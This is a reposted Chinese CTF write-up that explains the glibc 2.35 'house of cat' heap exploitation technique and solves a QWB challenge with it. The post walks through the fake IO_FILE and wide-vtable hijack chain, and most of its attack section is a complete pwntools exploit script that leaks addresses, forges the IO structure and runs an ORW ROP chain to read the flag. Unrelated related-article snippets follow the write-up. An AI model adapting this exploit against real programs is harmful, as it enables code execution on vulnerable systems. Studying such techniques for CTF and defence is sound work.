常回家看看之house_of_cat

news/2024/11/16 1:52:17/文章来源:https://www.cnblogs.com/CH13hh/p/18415836

house_of_cat

前言:

house of cat 这个利用手法和前面提到的 house of kiwi ,和 house of emma 利用的手法是一个链子,当程序无法通过main函数返回时候,或者程序不能显性调用exit函数的时候,我们可以通过 __malloc_assert 来刷新IO流,当然这个函数在2.35之后移除了刷新IO流,最后在2.37彻底移除。

house of cat 和 house of emma 一样修改 vtable表,但是不同的是,house of emma 使用的函数是 _IO_cookie_read来进行跳转,而hosue of cat使用的是_IO_wfile_seekoff来进行函数调用的,这个函数存在 _IO_wfile_jumps中,我们看看它的源码

_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);
......bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;
......
}

发现它会在满足条件的情况下调用 _IO_switch_to_wget_mode 函数,我们继续跟进,查看源码

_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;
......
}

它会在满足条件的情况下调用 _IO_WOVERFLOW,但是需要满足情况,需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件。因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, 但是_wide_vtable 是我们可控的,从而在这里可以劫持程序的执行流。

看看完整的调用链__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

调用我们伪造的vtable

满足条件进行调用_IO_switch_to_wget_mode 函数

继续步入,注意这里rax的变化

这里已经修改过rax+0x18处的地址

继续劫持rdx+0xa0 和rdx+0xa8达到劫持程流序到堆块上(如果没有开沙箱可以之间system("/bin/sh")拿shell。

例题

题目链接:
链接:https://pan.baidu.com/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv 
提取码:c7qv

题目一上来是有检查的,但是我们重心放在house of cat ,这里检查直接给出

登录的时候需要输入 LOGIN | r00t QWB QWXFadmin,在每次堆块操作的时候需要输入CAT | r00t QWB QWXF$\xff 来通过检查

add函数有大小限制,通过calloc来分配

edit函数不能越界,只能使用两次,每次输入0x30字节

free函数存在UAF漏洞

show 函数打印0x30字节数据,没有截断

程序还开了沙箱只能orw,而且read的第一个参数必须是0,那么就是要先要关闭文件描述符0,然后再次使用read

 

那么思路很明显,通过largebin 来一次泄露libc地址和堆块地址,然后两次edit,第一个修改stderr结构体(以为malloc_assert会调用stderr来输出报错信息),第二次修改top_chunk来修改size来触发 _malloc_assert,那么这里就要注意了伪造结构结构体时候一定要注意布局还有它们之间的调用关系

EXP:

from gt import *con("amd64")io = process("./houseofcat")
libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.35.so")#gdb.attach(io)
io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin")def add(index,size,msg='\x00'):io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")io.sendlineafter("choice:\n","1")io.sendlineafter("cat idx:\n",str(index))io.sendlineafter("cat size:\n",str(size))io.sendafter("your content:\n",msg)def free(index):io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")io.sendlineafter("choice:\n","2")io.sendlineafter("cat idx:\n",str(index))def show(index):io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")io.sendlineafter("choice:\n","3")io.sendlineafter("cat idx:\n",str(index))def edit(index,msg):io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")io.sendlineafter("choice:\n","4")io.sendlineafter("cat idx:\n",str(index))io.sendafter("your content:\n",msg)add(0,0x420) #0
add(1,0x430) #1
add(2,0x418) #2free(0)
add(3,0x430) #4
show(0)
io.recvuntil("Context:\n")
libc_base = u64(io.recv(8))-0x21a0d0
suc("libc_base",libc_base)
io.recv(8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x290
suc("heap_base",heap_base)setcontext = libc_base + libc.sym["setcontext"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret; 
pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret; 
pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret; 
lv = libc_base + 0x00000000000562ec#: leave; ret; 
stderr = libc_base + libc.sym['stderr']
close = libc_base + libc.sym["close"]
syscall = libc_base + 0x0000000000091396#: syscall; ret; 
_IO_wfile_jumps = libc_base + 0x2160c0flag_addr = heap_base + 0xb00 + 0x230
orw = flat(pop_rdi ,0 , close)
orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef)fake_io_addr = heap_base + 0xb00fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61 
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orwfree(2)
payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20) 
add(6,0x418,fake_IO_FILE)
edit(0,payload)
free(6)
add(4,0x430)#gdb.attach(io)
add(5,0x440) #large
add(7,0x430)
add(8,0x430) #unsort
free(5)
add(9,0x450)
top_chunk = heap_base + 0x28d0 
payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
edit(5,payload)
free(8)
#add(10,0x460)
#gdb.attach(io)io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter('plz input your cat choice:\n',str(1))
io.sendlineafter('plz input your cat idx:',str(11))
gdb.attach(io,'b* (_IO_wfile_seekoff)')
#gdb.attach(io)
io.sendlineafter('plz input your cat size:',str(0x450))io.interactive()

分析一下伪造的IO

fake_io_addr = heap_base + 0xb00fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)  #这里为了绕过检查
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 这里是rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr   这里是rax + 0x18的位置
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1  0x90位置为第一次的rax (rax+0xa0)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw

 最后执行效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/798074.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql-v8.x设置权限可以远程访问

PS:mysql-v8.4.2不支持原先的权限修改方式了,需要先创建再分配才行mysql -u root -p #先登录 SELECT user,host FROM mysql.user; #看下当前的权限 CREATE USER your_name@% IDENTIFIED BY your_password; #需要创建用户 grant all privileges on *.* to your_name@%; #分配权…

04: 代理模式

代理模式是一种对象结构型模式,在该模式中引入了一个代理对象,在客户端和目标访问对象之间起到中介的作用。代理对象可以屏蔽或删除客户不想访问的内容和服务,也可以根据客户需求增加新的内容和服务1. 案例: B帮助A追求C 2. 代理模式结构 - Subject(抽象主题角色): 声明了…

DAS安装失败之This product requires Administrator Privileges

使用管理员权限安装DAS仍然失败,可能是Server服务被优化禁用了,导致软件调用的检测管理员权限方法失败,从而“错误”地认为没有开启管理员权限。 在服务中开启或者注册表中修改LanmanServer启动选项,就可以成功安装了。版权声明:未经本人授权禁止转载,转载时请注明原博客…

用笔记来记录遇到的问题:发布版本和非发布版本遇到的问题

这两天接到一个任务,把中秋节的的宣传广告发到app上去。 没想到一个项目运营了这么久,竟然没有这种功能 我给他们做了3个: 开屏广告、首页弹出广告和客服机器人形象换成小兔子。 搞完之后,我发布版本给他们测试 谁知道我本地运行得好好的,为啥发布给他们的版本没有效果! …

在线打字练习网站【巧手打字通】使用教程

巧手打字通是一个专为打字初学者,特别是中小学生量身设计的在线打字练习平台。该平台通过科学、有趣且高效的教学方式,帮助用户快速掌握打字技巧,提升打字速度和准确率。 本文提供了整套的从入门到精通的各类课程简介,包括:认识键盘,科普,入门课程,学拼音,学英语,读诗…

Nuxt Kit 中的上下文处理

title: Nuxt Kit 中的上下文处理 date: 2024/9/16 updated: 2024/9/16 author: cmdragon excerpt: Nuxt Kit 提供的上下文处理工具,尤其是 useNuxt 和 tryUseNuxt,为模块化开发提供了极大的便利。通过这些函数,开发者可以方便地访问 Nuxt 实例,从而更好地管理应用配置。 …

佩戴安全帽 人员聚集识别

佩戴安全帽人员聚集识别借助现场已经安装的监控摄像机实时监控现场画面,识别职工是不是戴安全帽,是不是人员聚集状态,进而发送警示和提醒。佩戴安全帽人员聚集识别系统选用最新神经网络算法和边缘计算,可以代替人的双眼,全自动识别各种各样违规操作如:反光衣穿戴识别、安…

安全帽佩戴检测摄像头

安全帽佩戴检测摄像头借助现场已有的监控摄像头或者专门安装内置算法的监控摄像头,对现场人员安全帽佩戴进行实时识别检测。安全帽佩戴检测摄像头通过RTSP协议访问摄像机视频流,实时获取分析。立即识别视频监控区域未戴安全帽的工人,并实时分析抓拍警报。安全帽佩戴检测摄像…

反光衣穿戴识别系统介绍

反光衣穿戴识别系统依据深度学习+边缘计算视觉分析技术,利用已有的摄像头对现场作业人员穿戴实时分析和识别视频图像数据。不用人工干预,反光衣穿戴识别系统全天候24h不间断对作业现场实时监控,当检测出工人不穿反光衣时,及时抓拍提醒并把违规信息发送给系统后台,反光衣穿…

学校食堂视频监控分析系统

学校食堂视频监控分析系统利旧现场已有的监控摄像头,可以对学校后厨识别监控厨师是否佩戴厨师帽厨师服、有无戴口罩、违规抽烟、陌生人进到后厨以及后厨出现老鼠猫狗等,并及时抓拍预警、后台推送违规图像信息。学校食堂视频监控分析系统智能实时分析产生的违规抓拍、对接并自…

摄像机识别未戴安全帽

摄像机识别未戴安全帽系统利用边缘计算+机器学习与深度学习技术,摄像机识别未戴安全帽系统借助现场部署的监控摄像机RTSP协议访问摄像机视频流,实时获取,实时分析,实时报警,并且抓拍人像分析人员信息、识别是不是戴安全帽、同歩声音报警,将报警信息快照和报警视频存入数据…

秸秆焚烧监控系统

秸秆焚烧监控系统通过现场通信铁塔基站上架设高空高像素监控摄像头,进行周边地域360度全天候24小时不间断实时监控,秸秆焚烧监控系统通过RTSP协议访问摄像机视频流,实时获取抓拍现场视频流画面实时分析,并且自动识别秸秆焚烧行为现象,实时报警并且将违规画面传回监控后台。…